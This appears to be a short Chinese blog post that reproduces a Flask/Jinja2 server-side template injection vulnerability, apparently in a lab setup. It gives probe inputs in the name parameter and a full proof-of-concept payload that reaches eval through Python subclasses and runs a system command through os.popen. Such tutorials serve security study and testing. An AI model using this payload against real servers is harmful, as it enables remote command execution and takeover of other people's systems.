0
点赞
收藏
分享

微信扫一扫

Flask(Jinja2) 服务端模板注入漏洞

小时候是个乖乖 2022-03-18 阅读 57

先来看一下代码:

在浏览器中输入

http://your-ip:8000/?name=aaa

会出现 hello aaa

在name后面也可以输入其他东西,比如:

http://192.168.147.139:8000/?name={{123*123}}

 http://your-ip/?name={{'aaa'.upper()}}

 任意命令执行的方法,需要在python里要执行系统命令需要import os模块。

想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册

需要在代码里加一句:

t.globals['os'] = os

 漏洞利用的poc

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

举报

相关推荐

0 条评论